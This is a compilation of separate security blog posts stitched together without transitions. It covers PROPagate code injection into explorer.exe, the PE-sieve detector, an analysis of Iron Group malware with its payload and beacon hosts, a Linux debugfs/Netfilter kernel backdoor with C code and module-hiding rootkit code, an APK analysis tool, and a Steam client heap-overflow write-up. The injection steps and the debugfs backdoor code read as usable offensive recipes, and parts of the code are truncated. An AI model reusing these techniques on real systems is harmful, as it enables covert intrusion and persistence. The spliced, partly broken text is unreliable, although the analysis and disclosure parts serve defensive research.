So… since we can still freely send messages between windows it would seem that there is a lot of things that can be done here. One could send a specially crafted WM_NCCREATE message to a window that owns this routine and achieve a controlled code execution inside another process (the lParam needs to pass the checks and include pointer to memory area that includes a callback that will be executed afterwards – this callback could point to malicious code). I may be of course wrong, but need to explore it further when I find more time.

The other interesting thing I noticed is that some existing windows procedures are already written in a way that makes it harder to exploit this issue. They check if the window-specific data was set, and only if it was NOT they allow to call the SetWindowLong function. That is, they avoid executing the same initialization code twice.



No Proof of Concept?

Let’s be honest with ourselves, most of the “good” code injection techniques used by malware authors today are the brainchild of some expert(s) in the field of computer security. Take for example Process HollowingAtomBombing and the more recent Doppelganging technique.

On the likelihood of code being misused, Adam didn’t publish a PoC, but there’s still sufficient information available in the blog posts for a competent person to write their own proof of concept, and it’s only a matter of time before it’s used in the wild anyway.

Update: After publishing this, I discovered it’s currently being used by SmokeLoader but using a different approach to mine by using SetPropA/SetPropW to update the subclass procedure.

I’m not providing source code here either, but given the level of detail, it should be relatively easy to implement your own.

Steps to PROPagate.

  1. Enumerate all window handles and the properties associated with them using EnumProps/EnumPropsEx
  2. Use GetProp API to retrieve information about hWnd parameter passed to WinPropProc callback function. Use “UxSubclassInfo” or “CC32SubclassInfo” as the 2nd parameter.
    The first class is for systems since XP while the latter is for Windows 2000.
  3. Open the process that owns the subclass and read the structures that contain callback functions. Use GetWindowThreadProcessId to obtain process id for window handle.
  4. Write a payload into the remote process using the usual methods.
  5. Replace the subclass procedure with pointer to payload in memory.
  6. Write the structures back to remote process.

At this point, we can wait for user to trigger payload when they activate the process window, or trigger the payload via another API.

Subclass callback and structures

Microsoft was kind enough to document the subclass procedure, but unfortunately not the internal structures used to store information about a subclass, so you won’t find them on MSDN or even in sources for WINE or ReactOS.

   HWND      hWnd,
   UINT      uMsg,
   WPARAM    wParam,
   LPARAM    lParam,
   UINT_PTR  uIdSubclass,
   DWORD_PTR dwRefData);

Some clever searching by yours truly eventually led to the Windows 2000 source code, which was leaked online in 2004. Behold, the elusive undocumented structures found in subclass.c!

typedef struct _SUBCLASS_CALL {
  SUBCLASSPROC pfnSubclass;    // subclass procedure
  WPARAM       uIdSubclass;    // unique subclass identifier
  DWORD_PTR    dwRefData;      // optional ref data
typedef struct _SUBCLASS_FRAME {
  UINT    uCallIndex;   // index of next callback to call
  UINT    uDeepestCall; // deepest uCallIndex on stack
// previous subclass frame pointer
  struct _SUBCLASS_FRAME  *pFramePrev;
// header associated with this frame 
  struct _SUBCLASS_HEADER *pHeader;     
typedef struct _SUBCLASS_HEADER {
  UINT           uRefs;        // subclass count
  UINT           uAlloc;       // allocated subclass call nodes
  UINT           uCleanup;     // index of call node to clean up
  DWORD          dwThreadId; // thread id of window we are hooking
  SUBCLASS_FRAME *pFrameCur;   // current subclass frame pointer
  SUBCLASS_CALL  CallArray[1]; // base of packed call node array

At least now there’s no need to reverse engineer how Windows stores information about subclasses. Phew!

Finding suitable targets

I wrongly assumed many processes would be vulnerable to this injection method. I can confirm ollydbg and Process Hacker to be vulnerable as Adam mentions in his post, but I did not test other applications. As it happens, only explorer.exe seemed to be a viable target on a plain Windows 7 installation. Rather than search for an arbitrary process that contained a subclass callback, I decided for the purpose of demonstrations just to stick with explorer.exe.

The code first enumerates all properties for windows created by explorer.exe. An attempt is made to request information about “UxSubclassInfo”, which if successful will return an address pointer to subclass information in the remote process.

Figure 1. shows a list of subclasses associated with process id. I’m as perplexed as you might be about the fact some of these subclass addresses appear multiple times. I didn’t investigate.

Figure 1: Address of subclass information and process id for explorer.exe

Attaching a debugger to process id 5924 or explorer.exe and dumping the first address provides the SUBCLASS_HEADER contents. Figure 2 shows the data for header, with 2 hi-lighted values representing the callback functions.

Figure 2 : Dump of SUBCLASS_HEADER for address 0x003A1BE8

Disassembly of the pointer 0x7448F439 shows in Figure 3 the code is CallOriginalWndProc located in comctl32.dll

Figure 3 : Disassembly of callback function for SUBCLASS_CALL

Okay! So now we just read at least one subclass structure from a target process, change the callback address, and wait for explorer.exe to execute the payload. On the other hand, we could write our own SUBCLASS_HEADER to remote memory and update the existing subclass window with SetProp API.

To overwrite SUBCLASS_HEADER, all that’s required is to replace the pointer pfnSubclass with address of payload, and write the structure back to memory. Triggering it may be required unless someone is already using the operating system.

One would be wise to restore the original callback pointer in subclass header after payload has executed, in order to avoid explorer.exe crashing.

Update: Smoke Loader probably initializes its own SUBCLASS_HEADER before writing to remote process. I think either way is probably fine. The method I used didn’t call SetProp API.


The original author may have additional information on how to detect this injection method, however I think the following strings and API are likely sufficient to merit closer investigation of code.


  • UxSubclassInfo
  • CC32SubclassInfo
  • explorer.exe


  • OpenProcess
  • ReadProcessMemory
  • WriteProcessMemory
  • GetPropA/GetPropW
  • SetPropA/SetPropW


This injection method is trivial to implement, and because it affects many versions of Windows, I was surprised nobody published code to show how it worked. Nevertheless, it really is just a case of hooking callback functions in a remote process, and there are many more just like subclass. More to follow!

PE-sieve — Hook Finder is open source tool based on libpeconv.

PE-sieve (previously known as Hook Finder) is open source tool based on libpeconv.
It scans a given process, searching for manually loaded or modified modules. When found, it dumps the modified/suspicious PE along with a report in JSON format, detailing about the found indicators.
Currently it detects inline hooks, hollowed processes, Process Doppelgänging, injected PE files etc. In case if the PE file was patched in the memory, it gives a detailed report about where are the changed bytes (and few other properties).

The tool is under rapid development, so expect frequent updates.

PE-sieve is available in 2 versions – as standalone executable, and as a DLL. The DLL version became a base of my other project: HollowsHunter – that makes an automated scan of all the running processes. More about it in the further part of the post.

Where to get it?

The tool is open-source, available on my github:


It has a simple, commandline interface. When run without parameters, it displays info about the version and required arguments:

When you run it giving a PID of the running process, it scans all the PE modules in its memory (the main executable, but also all the loaded DLLs). At the end, you can see the summary of how many anomalies have been detected of which type.

In case if some modified modules has been detected, they are dumped to a folder of a given process, for example:

Short history & features

Detecting inline hooks and patches

I started creating it for the purpose of searching and examining inline hooks. You can see it in action here (old version):

It not only detects that there IS an anomaly/patch, but also WHERE exactly it is. For each dumped PE where the patches were found, it creates a file with tags, that can be loaded by PE-bear.

Thanks to this, we can easily browse the found hooks and check the code that was overwritten.

For example – in the application presented above, the Entry Point was patched and the execution was redirected to the added, malicious section:

Detecting hollowed processes

Later, I extended it to detect process hollowing etc – and it turned out to be pretty convenient unpacker:

Detecting Process Doppelgänging

In a similar manner, it can detects some other methods of impersonating a processes, for example Process Doppelgänging. The malicious payload is directly dumped and ready to be analyzed:

Recovering erased imports

PE-sieve has an ability to recover erased imports. In order to enable it, deploy it with appropriate option. Example – unpacking manually loaded payloads with imports erased (Emotet):

Future development

The project is still not finished and I have many ideas how to make it better. I am planning to detect not only code modifications, but also other types of hooking, such as IAT and EAT patching.

Some in-memory patches are done by legitimate applications, so, in the future version I will provide capability of whitelisting defined patches.

I am also planning to extend its dumping capabilities against the malicious processes that are trying to defend themselves against dumpers etc.

PE-sieve as a DLL

During the development process I got an idea to make a DLL version of the PE-sieve, so that it can be incorporated in other projects.

Building PE-sieve from sources as a DLL is very easy – you just need to set one CMake option: PE_SIEVE_AS_DLL:


The PE-sieve DLL exposes a minimalistic API. Two functions are exported:


  1. PESieve_help – displays a short info and the version of the DLL.
  2. PESieve_scan – a typical scan with a given parameters, like in the PE-Sieve.exe

The necessary headers needs to be included from the folder “pe-sieve\include“:

I have plans to enrich the API in the future. For now, you can see the PE-sieve DLL in action in the HollowsHunter project.

Ideas? Bugs?

If you noticed bug or have an idea for a useful feature, don’t hesitate to mail me or create a Github issue – I check them regularly:

Iron Group’s Malware using HackingTeam’s Leaked RCS source code with VMProtected Installer — Technical Analysis

In April 2018, while monitoring public data feeds, we noticed an interesting and previously unknown backdoor using HackingTeam’s leaked RCS source code. We discovered that this backdoor was developed by the Iron cybercrime group, the same group behind the Iron ransomware (rip-off Maktub ransomware recently discovered by Bart Parys), which we believe has been active for the past 18 months.

During the past year and a half, the Iron group has developed multiple types of malware (backdoors, crypto-miners, and ransomware) for Windows, Linux and Android platforms. They have used their malware to successfully infect, at least, a few thousand victims.

In this technical blog post we are going to take a look at the malware samples found during the research.

Technical Analysis:


** This installer sample (and in general most of the samples found) is protected with VMProtect then compressed using UPX.

Installation process:

1. Check if the binary is executed on a VM, if so – ExitProcess

2. Drop & Install malicious chrome extension
3. Extract malicious chrome extension to %localappdata%\Temp\chrome & create a scheduled task to execute %localappdata%\Temp\chrome\sec.vbs.
4. Create mutex using the CPU’s version to make sure there’s no existing running instance of itself.
5. Drop backdoor dll to %localappdata%\Temp\\<random>.dat.
6. Check OS version:
.If Version == Windows XP then just invoke ‘Launch’ export of Iron Backdoor for a one-time non persistent execution.
.If Version > Windows XP
-Invoke ‘Launch’ export
-Check if Qhioo360 – only if not proceed, Install malicious certificate used to sign Iron Backdoor binary as root CA.Then create a service called ‘helpsvc’ pointing back to Iron Backdoor dll.

Using the leaked HackingTeam source code:

Once we Analyzed the backdoor sample, we immediately noticed it’s partially based on HackingTeam’s source code for their Remote Control System hacking tool, which leaked about 3 years ago. Further analysis showed that the Iron cybercrime group used two main functions from HackingTeam’s source in both IronStealer and Iron ransomware.

1.Anti-VM: Iron Backdoor uses a virtual machine detection code taken directly from HackingTeam’s “Soldier” implant leaked source code. This piece of code supports detecting Cuckoo Sandbox, VMWare product & Oracle’s VirtualBox. Screenshot:


2. Dynamic Function Calls: Iron Backdoor is also using the DynamicCall module from HackingTeam’s “core” library. This module is used to dynamically call external library function by obfuscated the function name, which makes static analysis of this malware more complex.
In the following screenshot you can see obfuscated “LFSOFM43/EMM” and “DsfbufGjmfNbqqjohB”, which represents “kernel32.dll” and “CreateFileMappingA” API.

For a full list of obfuscated APIs you can visit obfuscated_calls.h.

Malicious Chrome extension:

A patched version of the popular Adblock Plus chrome extension is used to inject both the in-browser crypto-mining module (based on CryptoNoter) and the in-browser payment hijacking module.

**patched include.preload.js injects two malicious scripts from the attacker’s Pastebin account.

The malicious extension is not only loaded once the user opens the browser, but also constantly runs in the background, acting as a stealth host based crypto-miner. The malware sets up a scheduled task that checks if chrome is already running, every minute, if it isn’t, it will “silent-launch” it as you can see in the following screenshot:

Internet Explorer(deprecated):

Iron Backdoor itself embeds adblockplusie – Adblock Plus for IE, which is modified in a similar way to the malicious chrome extension, injecting remote javascript. It seems that this functionality is no longer automatically used for some unknown reason.


Before installing itself as a Windows service, the malware checks for the presence of either 360 Safe Guard or 360 Internet Security by reading following registry keys:


If one of these products is installed, the malware will only run once without persistence. Otherwise, the malware will proceed to installing rouge, hardcoded root CA certificate on the victim’s workstation. This fake root CA supposedly signed the malware’s binaries, which will make them look legitimate.

Comic break: The certificate is protected by the password ‘caonima123’, which means “f*ck your mom” in Mandarin.

IronStealer (<RANDOM>.dat):

Persistent backdoor, dropper and cryptocurrency theft module.

1. Load Cobalt Strike beacon:
The malware automatically decrypts hard coded shellcode stage-1, which in turn loads Cobalt Strike beacon in-memory, using a reflective loader:

Beacon: hxxp://dazqc4f140wtl.cloudfront[.]net/ZZYO

2. Drop & Execute payload: The payload URL is fetched from a hardcoded Pastebin paste address:

We observed two different payloads dropped by the malware:

1. Xagent – A variant of “JbossMiner Mining Worm” – a worm written in Python and compiled using PyInstaller for both Windows and Linux platforms. JbossMiner is using known database vulnerabilities to spread. “Xagent” is the original filename Xagent<VER>.exe whereas <VER> seems to be the version of the worm. The last version observed was version 6 (Xagent6.exe).

**Xagent versions 4-6 as seen by VT

2. Iron ransomware – We recently saw a shift from dropping Xagent to dropping Iron ransomware. It seems that the wallet & payment portal addresses are identical to the ones that Bart observed. Requested ransom decreased from 0.2 BTC to 0.05 BTC, most likely due to the lack of payment they received.

**Nobody paid so they decreased ransom to 0.05 BTC

3. Stealing cryptocurrency from the victim’s workstation: Iron backdoor would drop the latest voidtool Everything search utility and actually silent install it on the victim’s workstation using msiexec. After installation was completed, Iron Backdoor uses Everything in order to find files that are likely to contain cryptocurrency wallets, by filename patterns in both English and Chinese.

Full list of patterns extracted from sample:
– Wallet.dat
– UTC–
– Etherenum keystore filename
– *bitcoin*.txt
– *比特币*.txt
– “Bitcoin”
– *monero*.txt
– *门罗币*.txt
– “Monroe Coin”
– *litecoin*.txt
– *莱特币*.txt
– “Litecoin”
– *Ethereum*.txt
– *以太币*.txt
– “Ethereum”
– *miner*.txt
– *挖矿*.txt
– “Mining”
– *blockchain*.txt
– *coinbase*

4. Hijack on-going payments in cryptocurrency: IronStealer constantly monitors the user’s clipboard for Bitcoin, Monero & Ethereum wallet address regex patterns. Once matched, it will automatically replace it with the attacker’s wallet address so the victim would unknowingly transfer money to the attacker’s account:

Pastebin Account:

As part of the investigation, we also tried to figure out what additional information we may learn from the attacker’s Pastebin account:

The account was probably created using the mail fineisgood123@gmail[.]com – the same email address used to register blockbitcoin[.]com (the attacker’s crypto-mining pool & malware host) and swb[.]one (Old server used to host malware & leaked files. replaced by u.cacheoffer[.]tk):

1. Index.html: HTML page referring to a fake Firefox download page.
2. crystal_ext-min + angular: JS inject using malicious Chrome extension.
3. android: This paste holds a command line for an unknown backdoored application to execute on infected Android devices. This command line invokes remote Metasploit stager (android.apk) and drops cpuminer 2.3.2 (minerd.txt) built for ARM processor. Considering the last update date (18/11/17) and the low number of views, we believe this paste is obsolete.

4. androidminer: Holds the cpuminer command line to execute for unknown malicious android applications, at the time of writing this post, this paste received nearly 2000 hits.

Aikapool[.]com is a public mining pool and port 7915 is used for DogeCoin:

The username (myapp2150) was used to register accounts in several forums and on Reddit. These accounts were used to advertise fake “blockchain exploit tool”, which infects the victim’s machine with Cobalt Strike, using a similar VBScript to the one found by Malwrologist (ps5.sct).

XAttacker: Copy of XAttacker PHP remote file upload script.
miner: Holds payload URL, as mentioned above (IronStealer).


How many victims are there?
It is hard to define for sure, , but to our knowledge, the total of the attacker’s pastes received around 14K views, ~11K for dropped payload URL and ~2k for the android miner paste. Based on that, we estimate that the group has successfully infected, a few thousands victims.

Who is Iron group?
We suspect that the person or persons behind the group are Chinese, due in part to the following findings:
. There were several leftover comments in the plugin in Chinese.
. Root CA Certificate password (‘f*ck your mom123’ was in Mandarin)
We also suspect most of the victims are located in China, because of the following findings:
. Searches for wallet file names in Chinese on victims’ workstations.
. Won’t install persistence if Qhioo360(popular Chinese AV) is found



  • blockbitcoin[.]com
  • pool.blockbitcoin[.]com
  • ssl2.blockbitcoin[.]com
  • xmr.enjoytopic[.]tk
  • down.cacheoffer[.]tk
  • dzebppteh32lz.cloudfront[.]net
  • dazqc4f140wtl.cloudfront[.]net
  • androidapt.s3-accelerate.amazonaws[.]com
  • androidapt.s3-accelerate.amazonaws[.]com
  • winapt.s3-accelerate.amazonaws[.]com
  • swb[.]one
  • bitcoinwallet8[.]com
  • blockchaln[.]info
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Misusing debugfs for In-Memory RCE

An explanation of how debugfs and nf hooks can be used to remotely execute code.

Картинки по запросу debugfs


Debugfs is a simple-to-use RAM-based file system specially designed for kernel debugging purposes. It was released with version 2.6.10-rc3 and written by Greg Kroah-Hartman. In this post, I will be showing you how to use debugfs and Netfilter hooks to create a Loadable Kernel Module capable of executing code remotely entirely in RAM.

An attacker’s ideal process would be to first gain unprivileged access to the target, perform a local privilege escalation to gain root access, insert the kernel module onto the machine as a method of persistence, and then pivot to the next target.

Note: The following is tested and working on clean images of Ubuntu 12.04 (3.13.0-32), Ubuntu 14.04 (4.4.0-31), Ubuntu 16.04 (4.13.0-36). All development was done on Arch throughout a few of the most recent kernel versions (4.16+).

Practicality of a debugfs RCE

When diving into how practical using debugfs is, I needed to see how prevalent it was across a variety of systems.

For every Ubuntu release from 6.06 to 18.04 and CentOS versions 6 and 7, I created a VM and checked the three statements below. This chart details the answers to each of the questions for each distro. The main thing I was looking for was to see if it was even possible to mount the device in the first place. If that was not possible, then we won’t be able to use debugfs in our backdoor.

Fortunately, every distro, except Ubuntu 6.06, was able to mount debugfs. Every Ubuntu version from 10.04 and on as well as CentOS 7 had it mounted by default.

  1. Present: Is /sys/kernel/debug/ present on first load?
  2. Mounted: Is /sys/kernel/debug/ mounted on first load?
  3. Possible: Can debugfs be mounted with sudo mount -t debugfs none /sys/kernel/debug?
Operating System Present Mounted Possible
Ubuntu 6.06 No No No
Ubuntu 8.04 Yes No Yes
Ubuntu 10.04* Yes Yes Yes
Ubuntu 12.04 Yes Yes Yes
Ubuntu 14.04** Yes Yes Yes
Ubuntu 16.04 Yes Yes Yes
Ubuntu 18.04 Yes Yes Yes
Centos 6.9 Yes No Yes
Centos 7 Yes Yes Yes
  • *debugfs also mounted on the server version as rw,relatime on /var/lib/ureadahead/debugfs
  • **tracefs also mounted on the server version as rw,relatime on /var/lib/ureadahead/debugfs/tracing

Executing code on debugfs

Once I determined that debugfs is prevalent, I wrote a simple proof of concept to see if you can execute files from it. It is a filesystem after all.

The debugfs API is actually extremely simple. The main functions you would want to use are: debugfs_initialized — check if debugfs is registered, debugfs_create_blob — create a file for a binary object of arbitrary size, and debugfs_remove — delete the debugfs file.

In the proof of concept, I didn’t use debugfs_initialized because I know that it’s present, but it is a good sanity-check.

To create the file, I used debugfs_create_blob as opposed to debugfs_create_file as my initial goal was to execute ELF binaries. Unfortunately I wasn’t able to get that to work — more on that later. All you have to do to create a file is assign the blob pointer to a buffer that holds your content and give it a length. It’s easier to think of this as an abstraction to writing your own file operations like you would do if you were designing a character device.

The following code should be very self-explanatory. dfs holds the file entry and myblob holds the file contents (pointer to the buffer holding the program and buffer length). I simply call the debugfs_create_blob function after the setup with the name of the file, the mode of the file (permissions), NULL parent, and lastly the data.

struct dentry *dfs = NULL;
struct debugfs_blob_wrapper *myblob = NULL;

int create_file(void){
	unsigned char *buffer = "\
#!/usr/bin/env python\n\
with open(\"/tmp/i_am_groot\", \"w+\") as f:\n\
	f.write(\"Hello, world!\")";

	myblob = kmalloc(sizeof *myblob, GFP_KERNEL);
	if (!myblob){
		return -ENOMEM;

	myblob->data = (void *) buffer;
	myblob->size = (unsigned long) strlen(buffer);

	dfs = debugfs_create_blob("debug_exec", 0777, NULL, myblob);
	if (!dfs){
		return -EINVAL;
	return 0;

Deleting a file in debugfs is as simple as it can get. One call to debugfs_remove and the file is gone. Wrapping an error check around it just to be sure and it’s 3 lines.

void destroy_file(void){
	if (dfs){

Finally, we get to actually executing the file we created. The standard and as far as I know only way to execute files from kernel-space to user-space is through a function called call_usermodehelper. M. Tim Jones wrote an excellent article on using UMH called Invoking user-space applications from the kernel, so if you want to learn more about it, I highly recommend reading that article.

To use call_usermodehelper we set up our argv and envp arrays and then call the function. The last flag determines how the kernel should continue after executing the function (“Should I wait or should I move on?”). For the unfamiliar, the envp array holds the environment variables of a process. The file we created above and now want to execute is /sys/kernel/debug/debug_exec. We can do this with the code below.

void execute_file(void){
	static char *envp[] = {

	char *argv[] = {

	call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);

I would now recommend you try the PoC code to get a good feel for what is being done in terms of actually executing our program. To check if it worked, run ls /tmp/ and see if the file i_am_groot is present.


We now know how our program gets executed in memory, but how do we send the code and get the kernel to run it remotely? The answer is by using Netfilter! Netfilter is a framework in the Linux kernel that allows kernel modules to register callback functions called hooks in the kernel’s networking stack.

If all that sounds too complicated, think of a Netfilter hook as a bouncer of a club. The bouncer is only allowed to let club-goers wearing green badges to go through (ACCEPT), but kicks out anyone wearing red badges (DENY/DROP). He also has the option to change anyone’s badge color if he chooses. Suppose someone is wearing a red badge, but the bouncer wants to let them in anyway. The bouncer can intercept this person at the door and alter their badge to be green. This is known as packet “mangling”.

For our case, we don’t need to mangle any packets, but for the reader this may be useful. With this concept, we are allowed to check any packets that are coming through to see if they qualify for our criteria. We call the packets that qualify “trigger packets” because they trigger some action in our code to occur.

Netfilter hooks are great because you don’t need to expose any ports on the host to get the information. If you want a more in-depth look at Netfilter you can read the article here or the Netfilter documentation.

netfilter hooks

When I use Netfilter, I will be intercepting packets in the earliest stage, pre-routing.

ESP Packets

The packet I chose to use for this is called ESP. ESP or Encapsulating Security Payload Packets were designed to provide a mix of security services to IPv4 and IPv6. It’s a fairly standard part of IPSec and the data it transmits is supposed to be encrypted. This means you can put an encrypted version of your script on the client and then send it to the server to decrypt and run.

Netfilter Code

Netfilter hooks are extremely easy to implement. The prototype for the hook is as follows:

unsigned int function_name (
		unsigned int hooknum,
		struct sk_buff *skb,
		const struct net_device *in,
		const struct net_device *out,
		int (*okfn)(struct sk_buff *)

All those arguments aren’t terribly important, so let’s move on to the one you need: struct sk_buff *skbsk_buffs get a little complicated so if you want to read more on them, you can find more information here.

To get the IP header of the packet, use the function skb_network_header and typecast it to a struct iphdr *.

struct iphdr *ip_header;

ip_header = (struct iphdr *)skb_network_header(skb);
if (!ip_header){
	return NF_ACCEPT;

Next we need to check if the protocol of the packet we received is an ESP packet or not. This can be done extremely easily now that we have the header.

if (ip_header->protocol == IPPROTO_ESP){
	// Packet is an ESP packet

ESP Packets contain two important values in their header. The two values are SPI and SEQ. SPI stands for Security Parameters Index and SEQ stands for Sequence. Both are technically arbitrary initially, but it is expected that the sequence number be incremented each packet. We can use these values to define which packets are our trigger packets. If a packet matches the correct SPI and SEQ values, we will perform our action.

if ((esp_header->spi == TARGET_SPI) &&
	(esp_header->seq_no == TARGET_SEQ)){
	// Trigger packet arrived

Once you’ve identified the target packet, you can extract the ESP data using the struct’s member enc_data. Ideally, this would be encrypted thus ensuring the privacy of the code you’re running on the target computer, but for the sake of simplicity in the PoC I left it out.

The tricky part is that Netfilter hooks are run in a softirq context which makes them very fast, but a little delicate. Being in a softirq context allows Netfilter to process incoming packets across multiple CPUs concurrently. They cannot go to sleep and deferred work runs in an interrupt context (this is very bad for us and it requires using delayed workqueues as seen in state.c).

The full code for this section can be found here.


  1. Debugfs must be present in the kernel version of the target (>= 2.6.10-rc3).
  2. Debugfs must be mounted (this is trivial to fix if it is not).
  3. rculist.h must be present in the kernel (>= linux-
  4. Only interpreted scripts may be run.

Anything that contains an interpreter directive (python, ruby, perl, etc.) works together when calling call_usermodehelper on it. See this wikipedia article for more information on the interpreter directive.

void execute_file(void){
	static char *envp[] = {

	char *argv[] = {

    call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);

Go also works, but it’s arguably not entirely in RAM as it has to make a temp file to build it and it also requires the .go file extension making this a little more obvious.

void execute_file(void){
	static char *envp[] = {

	char *argv[] = {

    call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);


If I were to add the ability to hide a kernel module (which can be done trivially through the following code), discovery would be very difficult. Long-running processes executing through this technique would be obvious as there would be a process with a high pid number, owned by root, and running <interpreter> /sys/kernel/debug/debug_exec. However, if there was no active execution, it leads me to believe that the only method of discovery would be a secondary kernel module that analyzes custom Netfilter hooks.

struct list_head *module;
int module_visible = 1;

void module_unhide(void){
	if (!module_visible){
		list_add(&(&__this_module)->list, module);

void module_hide(void){
	if (module_visible){
		module = (&__this_module)->list.prev;


The simplest mitigation for this is to remount debugfs as noexec so that execution of files on it is prohibited. To my knowledge, there is no reason to have it mounted the way it is by default. However, this could be trivially bypassed. An example of execution no longer working after remounting with noexec can be found in the screenshot below.

For kernel modules in general, module signing should be required by default. Module signing involves cryptographically signing kernel modules during installation and then checking the signature upon loading it into the kernel. “This allows increased kernel security by disallowing the loading of unsigned modules or modules signed with an invalid key. Module signing increases security by making it harder to load a malicious module into the kernel.

debugfs with noexec

# Mounted without noexec (default)
cat /etc/mtab | grep "debugfs"
ls -la /tmp/i_am_groot
sudo insmod test.ko
ls -la /tmp/i_am_groot
sudo rmmod test.ko
sudo rm /tmp/i_am_groot
sudo umount /sys/kernel/debug
# Mounted with noexec
sudo mount -t debugfs none -o rw,noexec /sys/kernel/debug
ls -la /tmp/i_am_groot
sudo insmod test.ko
ls -la /tmp/i_am_groot
sudo rmmod test.ko

Future Research

An obvious area to expand on this would be finding a more standard way to load programs as well as a way to load ELF files. Also, developing a kernel module that can distinctly identify custom Netfilter hooks that were loaded in from kernel modules would be useful in defeating nearly every LKM rootkit that uses Netfilter hooks.

ReverseAPK — Quickly Analyze And Reverse Engineer Android Packages

Quickly analyze and reverse engineer Android applications.


  • Displays all extracted files for easy reference
  • Automatically decompile APK files to Java and Smali format
  • Analyze AndroidManifest.xml for common vulnerabilities and behavior
  • Static source code analysis for common vulnerabilities and behavior
    • Device info
    • Intents
    • Command execution
    • SQLite references
    • Logging references
    • Content providers
    • Broadcast recievers
    • Service references
    • File references
    • Crypto references
    • Hardcoded secrets
    • URL’s
    • Network connections
    • SSL references
    • WebView references




reverse-apk <apk_name>


Remote Code Execution Vulnerability in the Steam Client

Remote Code Execution Vulnerability in the Steam Client

Frag Grenade! A Remote Code Execution Vulnerability in the Steam Client

Frag Grenade! A Remote Code Execution Vulnerability in the Steam Client

This blog post explains the story behind a bug which had existed in the Steam client for at least the last ten years, and until last July would have resulted in remote code execution (RCE) in all 15 million active clients.

The keen-eyed, security conscious PC gamers amongst you may have noticed that Valve released a new update to the Steam client in recent weeks.
This blog post aims to justify why we play games in the office explain the story behind the corresponding bug, which had existed in the Steam client for at least the last ten years, and until last July would have resulted in remote code execution (RCE) in all 15 million active clients.
Since July, when Valve (finally) compiled their code with modern exploit protections enabled, it would have simply caused a client crash, with RCE only possible in combination with a separate info-leak vulnerability.
Our vulnerability was reported to Valve on the 20th February 2018 and to their credit, was fixed in the beta branch less than 12 hours later. The fix was pushed to the stable branch on the 22nd March 2018.


At its core, the vulnerability was a heap corruption within the Steam client library that could be remotely triggered, in an area of code that dealt with fragmented datagram reassembly from multiple received UDP packets.

The Steam client communicates using a custom protocol – the “Steam protocol” – which is delivered on top of UDP. There are two fields of particular interest in this protocol which are relevant to the vulnerability:

  • Packet length
  • Total reassembled datagram length

The bug was caused by the absence of a simple check to ensure that, for the first packet of a fragmented datagram, the specified packet length was less than or equal to the total datagram length. This seems like a simple oversight, given that the check was present for all subsequent packets carrying fragments of the datagram.

Without additional info-leaking bugs, heap corruptions on modern operating systems are notoriously difficult to control to the point of granting remote code execution. In this case, however, thanks to Steam’s custom memory allocator and (until last July) no ASLR on the steamclient.dll binary, this bug could have been used as the basis for a highly reliable exploit.

What follows is a technical write-up of the vulnerability and its subsequent exploitation, to the point where code execution is achieved.

Vulnerability Details



The Steam protocol has been reverse engineered and well documented by others (e.g. from analysis of traffic generated by the Steam client. The protocol was initially documented in 2008 and has not changed significantly since then.

The protocol is implemented as a connection-orientated protocol over the top of a UDP datagram stream. The packet structure, as documented in the existing research linked above, is as follows:

Key points:

  • All packets start with the 4 bytes “VS01
  • packet_len describes the length of payload (for unfragmented datagrams, this is equal to data length)
  • type describes the type of packet, which can take the following values:
    • 0x2 Authenticating Challenge
    • 0x4 Connection Accept
    • 0x5 Connection Reset
    • 0x6 Packet is a datagram fragment
    • 0x7 Packet is a standalone datagram
  • The source and destination fields are IDs assigned to correctly route packets from multiple connections within the steam client
  • In the case of the packet being a datagram fragment:
    • split_count refers to the number of fragments that the datagram has been split up into
    • data_len refers to the total length of the reassembled datagram
  • The initial handling of these UDP packets occurs in the CUDPConnection::UDPRecvPkt function within steamclient.dll


The payload of the datagram packet is AES-256 encrypted, using a key negotiated between the client and server on a per-session basis. Key negotiation proceeds as follows:

  • Client generates a 32-byte random AES key and RSA encrypts it with Valve’s public key before sending to the server.
  • The server, in possession of the private key, can decrypt this value and accepts it as the AES-256 key to be used for the session
  • Once the key is negotiated, all payloads sent as part of this session are encrypted using this key.


The vulnerability exists within the RecvFragment method of the CUDPConnection class. No symbols are present in the release version of the steamclient library, however a search through the strings present in the binary will reveal a reference to “CUDPConnection::RecvFragment” in the function of interest. This function is entered when the client receives a UDP packet containing a Steam datagram of type 0x6 (Datagram fragment).

1. The function starts by checking the connection state to ensure that it is in the “Connected” state.
2. The data_len field within the Steam datagram is then inspected to ensure it contains fewer than a seemingly arbitrary 0x20000060 bytes.
3. If this check is passed, it then checks to see if the connection is already collecting fragments for a particular datagram or whether this is the first packet in the stream.

Figure 1

4. If this is the first packet in the stream, the split_count field is then inspected to see how many packets this stream is expected to span
5. If the stream is split over more than one packet, the seq_no_of_first_pkt field is inspected to ensure that it matches the sequence number of the current packet, ensuring that this is indeed the first packet in the stream.
6. The data_len field is again checked against the arbitrary limit of 0x20000060 and also the split_count is validated to be less than 0x709bpackets.

Figure 2

7. If these assertions are true, a Boolean is set to indicate we are now collecting fragments and a check is made to ensure we do not already have a buffer allocated to store the fragments.

Figure 3

8. If the pointer to the fragment collection buffer is non-zero, the current fragment collection buffer is freed and a new buffer is allocated (see yellow box in Figure 4 below). This is where the bug manifests itself. As expected, a fragment collection buffer is allocated with a size of data_lenbytes. Assuming this succeeds (and the code makes no effort to check – minor bug), then the datagram payload is then copied into this buffer using memmove, trusting the field packet_len to be the number of bytes to copy. The key oversight by the developer is that no check is made that packet_len is less than or equal to data_len. This means that it is possible to supply a data_len smaller than packet_len and have up to 64kb of data (due to the 2-byte width of the packet_len field) copied to a very small buffer, resulting in an exploitable heap corruption.

Figure 4


This section assumes an ASLR work-around is present, leading to the base address of steamclient.dll being known ahead of exploitation.


In order for an attacker’s UDP packets to be accepted by the client, they must observe an outbound (client->server) datagram being sent in order to learn the client/server IDs of the connection along with the sequence number. The attacker must then spoof the UDP packet source/destination IPs and ports, along with the client/server IDs and increment the observed sequence number by one.


For allocations larger than 1024 (0x400) bytes, the default system allocator is used. For allocations smaller or equal to 1024 bytes, Steam implements a custom allocator that works in the same way across all supported platforms. In-depth discussion of this custom allocator is beyond the scope of this blog, except for the following key points:

  1. Large blocks of memory are requested from the system allocator that are then divided into fixed-size chunks used to service memory allocation requests from the steam client.
  2. Allocations are sequential with no metadata separating the in-use chunks.
  3. Each large block maintains its own freelist, implemented as a singly linked list.
  4. The head of the freelist points to the first free chunk in a block, and the first 4-bytes of that chunk points to the next free chunk if one exists.


